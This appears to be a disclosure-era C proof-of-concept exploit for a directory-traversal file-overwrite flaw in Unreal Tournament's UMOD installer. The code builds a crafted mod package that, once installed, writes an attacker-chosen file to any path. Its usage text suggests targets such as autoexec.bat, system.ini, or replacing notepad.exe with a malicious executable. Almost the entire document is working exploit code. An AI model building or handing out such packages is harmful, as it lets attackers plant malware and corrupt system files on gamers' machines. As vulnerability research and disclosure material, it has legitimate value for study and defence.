// source: https://www.securityfocus.com/bid/10196/info
Reportedly the Unreal Tournament Engine is affected by a local file overwrite vulnerability due to the UMOD manifest.ini file. This issue is due to an input validation error that allows a malicious user specify arbitrary files for writing, potentially leading to a system wide denial of service condition.
/*
by Luigi Auriemma
UNIX & WIN VERSION
UMOD CRC calculation 0.2
by Luigi Auriemma
e-mail: aluigi@altervista.org
web: http://aluigi.altervista.org
This function must be used to calculate the CRC checksum used in the
umod files.
For more informations about the umod file format read my document
and my relative
tools on my website in the section dedicated to the
Unreal engine.
How to use,
the 2 possible methods:printf("CRC: 0x%08lx\n", umodcrc("test.umod", 0));
2)
fd = fopen("test.umod", "rb");printf("CRC: 0x%08lx\n", umodcrc(NULL, fd);
Return value:
The value is the CRC of the file or 0xffffffff (-1)
if there are
errors
Practically if you pass NULL as filename,
the function will use the FILE
descriptor passed as second argument
otherwise the function will open the
file using the first parameter (filename)
This source is covered by GNU/GPL
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include "umodcrc.h"
#ifndef u_long
#define u_long unsigned long
#endif
#ifndef u_char
#define u_char unsigned char
#endif
#define UT2BUFFSZ 0x4000
/* complete CRC calculation */
u_long umodcrc(
u_char *filename, /* name of the file for CRC calculation */
FILE *fdopen /* FILE descriptor */
);
/* CRC algorithm */
u_long appmemcrc(
u_char *data, /* buffer containing the data from the file */
u_long size, /* size of the data */
u_long oldcrc /* previous CRC, it must start from 0 */
);
u_long gcrctable[] = {
0x00000000, 0x04c11db7, 0x09823b6e, 0x0d4326d9,
0x130476dc, 0x17c56b6b, 0x1a864db2, 0x1e475005,
0x2608edb8, 0x22c9f00f, 0x2f8ad6d6, 0x2b4bcb61,
0x350c9b64, 0x31cd86d3, 0x3c8ea00a, 0x384fbdbd,
0x4c11db70, 0x48d0c6c7, 0x4593e01e, 0x4152fda9,
0x5f15adac, 0x5bd4b01b, 0x569796c2, 0x52568b75,
0x6a1936c8, 0x6ed82b7f, 0x639b0da6, 0x675a1011,
0x791d4014, 0x7ddc5da3, 0x709f7b7a, 0x745e66cd,
0x9823b6e0, 0x9ce2ab57, 0x91a18d8e, 0x95609039,
0x8b27c03c, 0x8fe6dd8b, 0x82a5fb52, 0x8664e6e5,
0xbe2b5b58, 0xbaea46ef, 0xb7a96036, 0xb3687d81,
0xad2f2d84, 0xa9ee3033, 0xa4ad16ea, 0xa06c0b5d,
0xd4326d90, 0xd0f37027, 0xddb056fe, 0xd9714b49,
0xc7361b4c, 0xc3f706fb, 0xceb42022, 0xca753d95,
0xf23a8028, 0xf6fb9d9f, 0xfbb8bb46, 0xff79a6f1,
0xe13ef6f4, 0xe5ffeb43, 0xe8bccd9a, 0xec7dd02d,
0x34867077, 0x30476dc0, 0x3d044b19, 0x39c556ae,
0x278206ab, 0x23431b1c, 0x2e003dc5, 0x2ac12072,
0x128e9dcf, 0x164f8078, 0x1b0ca6a1, 0x1fcdbb16,
0x018aeb13, 0x054bf6a4, 0x0808d07d, 0x0cc9cdca,
0x7897ab07, 0x7c56b6b0, 0x71159069, 0x75d48dde,
0x6b93dddb, 0x6f52c06c, 0x6211e6b5, 0x66d0fb02,
0x5e9f46bf, 0x5a5e5b08, 0x571d7dd1, 0x53dc6066,
0x4d9b3063, 0x495a2dd4, 0x44190b0d, 0x40d816ba,
0xaca5c697, 0xa864db20, 0xa527fdf9, 0xa1e6e04e,
0xbfa1b04b, 0xbb60adfc, 0xb6238b25, 0xb2e29692,
0x8aad2b2f, 0x8e6c3698, 0x832f1041, 0x87ee0df6,
0x99a95df3, 0x9d684044, 0x902b669d, 0x94ea7b2a,
0xe0b41de7, 0xe4750050, 0xe9362689, 0xedf73b3e,
0xf3b06b3b, 0xf771768c, 0xfa325055, 0xfef34de2,
0xc6bcf05f, 0xc27dede8, 0xcf3ecb31, 0xcbffd686,
0xd5b88683, 0xd1799b34, 0xdc3abded, 0xd8fba05a,
0x690ce0ee, 0x6dcdfd59, 0x608edb80, 0x644fc637,
0x7a089632, 0x7ec98b85, 0x738aad5c, 0x774bb0eb,
0x4f040d56, 0x4bc510e1, 0x46863638, 0x42472b8f,
0x5c007b8a, 0x58c1663d, 0x558240e4, 0x51435d53,
0x251d3b9e, 0x21dc2629, 0x2c9f00f0, 0x285e1d47,
0x36194d42, 0x32d850f5, 0x3f9b762c, 0x3b5a6b9b,
0x0315d626, 0x07d4cb91, 0x0a97ed48, 0x0e56f0ff,
0x1011a0fa, 0x14d0bd4d, 0x19939b94, 0x1d528623,
0xf12f560e, 0xf5ee4bb9, 0xf8ad6d60, 0xfc6c70d7,
0xe22b20d2, 0xe6ea3d65, 0xeba91bbc, 0xef68060b,
0xd727bbb6, 0xd3e6a601, 0xdea580d8, 0xda649d6f,
0xc423cd6a, 0xc0e2d0dd, 0xcda1f604, 0xc960ebb3,
0xbd3e8d7e, 0xb9ff90c9, 0xb4bcb610, 0xb07daba7,
0xae3afba2, 0xaafbe615, 0xa7b8c0cc, 0xa379dd7b,
0x9b3660c6, 0x9ff77d71, 0x92b45ba8, 0x9675461f,
0x8832161a, 0x8cf30bad, 0x81b02d74, 0x857130c3,
0x5d8a9099, 0x594b8d2e, 0x5408abf7, 0x50c9b640,
0x4e8ee645, 0x4a4ffbf2, 0x470cdd2b, 0x43cdc09c,
0x7b827d21, 0x7f436096, 0x7200464f, 0x76c15bf8,
0x68860bfd, 0x6c47164a, 0x61043093, 0x65c52d24,
0x119b4be9, 0x155a565e, 0x18197087, 0x1cd86d30,
0x029f3d35, 0x065e2082, 0x0b1d065b, 0x0fdc1bec,
0x3793a651, 0x3352bbe6, 0x3e119d3f, 0x3ad08088,
0x2497d08d, 0x2056cd3a, 0x2d15ebe3, 0x29d4f654,
0xc5a92679, 0xc1683bce, 0xcc2b1d17, 0xc8ea00a0,
0xd6ad50a5, 0xd26c4d12, 0xdf2f6bcb, 0xdbee767c,
0xe3a1cbc1, 0xe760d676, 0xea23f0af, 0xeee2ed18,
0xf0a5bd1d, 0xf464a0aa, 0xf9278673, 0xfde69bc4,
0x89b8fd09, 0x8d79e0be, 0x803ac667, 0x84fbdbd0,
0x9abc8bd5, 0x9e7d9662, 0x933eb0bb, 0x97ffad0c,
0xafb010b1, 0xab710d06, 0xa6322bdf, 0xa2f33668,
0xbcb4666d, 0xb8757bda, 0xb5365d03, 0xb1f740b4 };
u_long umodcrc(u_char *filename, FILE *fdopen) {
FILE *fd;
int err,
len;
u_char *buff;
u_long crc = 0x00000000,
oldoff = 0;
struct stat xstat;
if(filename) {
fd = fopen(filename, "rb");
if(!fd) return(-1);
} else {
fd = fdopen;
oldoff = ftell(fd); // methodic and ordinate 8-)
}
err = fstat(fileno(fd), &xstat);
if(err < 0) return(-1);
if(xstat.st_size >= 20) xstat.st_size -= 20;
else return(-1);
buff = malloc(UT2BUFFSZ);
if(!buff) return(-1);
len = UT2BUFFSZ;
do {
if(len > xstat.st_size) len = xstat.st_size;
err = fread(buff, len, 1, fd);
if(err != 1) break;
crc = appmemcrc(buff, len, crc);
xstat.st_size -= len;
} while(xstat.st_size);
if(filename) fclose(fd);
else fseek(fd, oldoff, SEEK_SET);
free(buff);
return(crc);
}
u_long appmemcrc(u_char *data, u_long size, u_long oldcrc)
{
oldcrc = ~oldcrc;
for(; size > 0; size--, data++) {
oldcrc = (oldcrc << 8) ^ gcrctable[*data ^ (oldcrc >> 24)];
}
return(~oldcrc);
}
/********************************************************************/
#ifdef WIN32
#include <direct.h>
#include <malloc.h>
#define u_long unsigned long
#define u_char unsigned char
#else
#include <unistd.h>
#include <sys/stat.h>
#endif
#define VER "0.1"
#define BUFFSZ 16384
#define UMODSIGN 0x9fe3c5a3
#define MANIFEST \
"[Setup]\n" \
"Product=Arbitrary file ovewriting by Luigi Auriemma\n" \
"Version=1\n" \
"Archive=%s\n" \
"SrcPath=.\n" \
"MasterPath=..\n" \
"StartProduct=UMODPoC\n" \
"\n" \
"Group=SetupGroup\n" \
"\n" \
"[SetupGroup]\n" \
"Copy=(Src="MANINI",Master="MANINI",Flags=3)\n" \
"File=(Src=%s)\n"
#define MANINI "System\\Manifest.ini"
void std_err(void);
void io_err(void);
int main(int argc, char *argv[]) {
FILE *fdin,
*fdmod;
u_char *buff;
u_long offset,
manifestsz;
int err;
struct stat xstat;
struct end {
u_long sign;
u_long indexstart;
u_long indexend;
u_long one;
u_long crc;
} end;
setbuf(stdout, NULL);
fputs("\n"
"UMOD arbitrary file overwriting proof-of-concept maker "VER"\n"
" Vulnerable games:\n"
" - Unreal Tournament <= 451b\n"
" - Unreal Tournament 2003 <= 2225\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@altervista.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
if(argc < 4) {
printf("\n"
"Usage: %s <malicious_file> <\"fake_file_name\"> <file.umod/ut2mod>\n"
"\n"
"You must use a filename with directory traversal exploitation\n"
"For example:\n"
"..\\..\\..\\autoexec.bat\n"
"..\\..\\..\\windows\\system.ini\n"
"\n"
"Simple usage example:\n"
"\n"
"%s malicious.exe \"..\\..\\..\\windows\\notepad.exe\" useme.umod\n"
"\n", argv[0], argv[0]);
exit(1);
}
printf("Opening %s\n", argv[1]);
fdin = fopen(argv[1], "rb");
if(!fdin) std_err();
err = fstat(fileno(fdin), &xstat);
if(err < 0) std_err();
printf("Size: %lu\n\n", xstat.st_size);
buff = malloc(BUFFSZ + 1);
if(!buff) std_err();
manifestsz = snprintf(
buff,
BUFFSZ,
MANIFEST,
argv[3],
argv[2]);
printf("Build virtual "MANINI"\n"
"Size: %lu\n"
"\n", manifestsz);
printf("Creating %s\n\n", argv[3]);
fdmod = fopen(argv[3], "wb");
if(!fdmod) std_err();
if(fwrite(buff, manifestsz, 1, fdmod) != 1) io_err();
err = manifestsz;
while(err & 0xf) { /* useless but all the UMODs does the same */
fputc(0x00, fdmod);
err++;
}
offset = ftell(fdmod); // malicious file offset
while(1) {
err = fread(buff, 1, BUFFSZ, fdin);
if(!err) break;
if(fwrite(buff, err, 1, fdmod) != 1) io_err();
}
fclose(fdin);
err = ftell(fdmod);
while(err & 0xf) { /* useless but all the UMODs does the same */
fputc(0x00, fdmod);
err++;
}
end.indexstart = err; // starting of index
fputc(2, fdmod); // number of files
fputc(sizeof(MANINI) - 1, fdmod); // filename size
fwrite(MANINI, sizeof(MANINI) - 1, 1, fdmod); // filename
fwrite("\x00\x00\x00\x00", 4, 1, fdmod); // starting offset
fwrite((void *)&manifestsz, 4, 1, fdmod); // size of the file
fwrite("\x03\x00\x00\x00", 4, 1, fdmod); // flag
err = strlen(argv[2]) + 1;
fputc(err, fdmod);
fwrite(argv[2], err, 1, fdmod);
fwrite((void *)&offset, 4, 1, fdmod);
fwrite((void *)&xstat.st_size, 4, 1, fdmod);
fwrite("\x00\x00\x00\x00", 4, 1, fdmod);
end.sign = UMODSIGN; // umod sign
end.indexend = ftell(fdmod) + sizeof(end); // index ending
end.one = 1; // 1
end.crc = 0x00000000; // crc (calculated later)
fwrite((void *)&end, sizeof(end), 1, fdmod);
/* crc checking */
fflush(fdmod);
end.crc = umodcrc(argv[3], 0);
fseek(fdmod, -4, SEEK_CUR);
fwrite((void *)&end.crc, 4, 1, fdmod);
fclose(fdmod);
printf("\n"
"Informations about %s:\n"
"-------------------\n"
"Index section offset: 0x%08lx\n"
"Total package size: %lu\n"
"CRC: %08lx\n"
"\n"
"Files contained:\n"
MANINI" (used for installation)\n"
"%s\n"
"\n"
"Proof-of-concept successfully created!\n",
argv[3],
end.indexstart,
end.indexend,
end.crc,
argv[2]);
return(0);
}
void std_err(void) {
perror("\nError");
exit(1);
}
void io_err(void) {
fputs("\nError: I/O error, the file is incomplete or the disk space is finished\n", stdout);
exit(1);
}
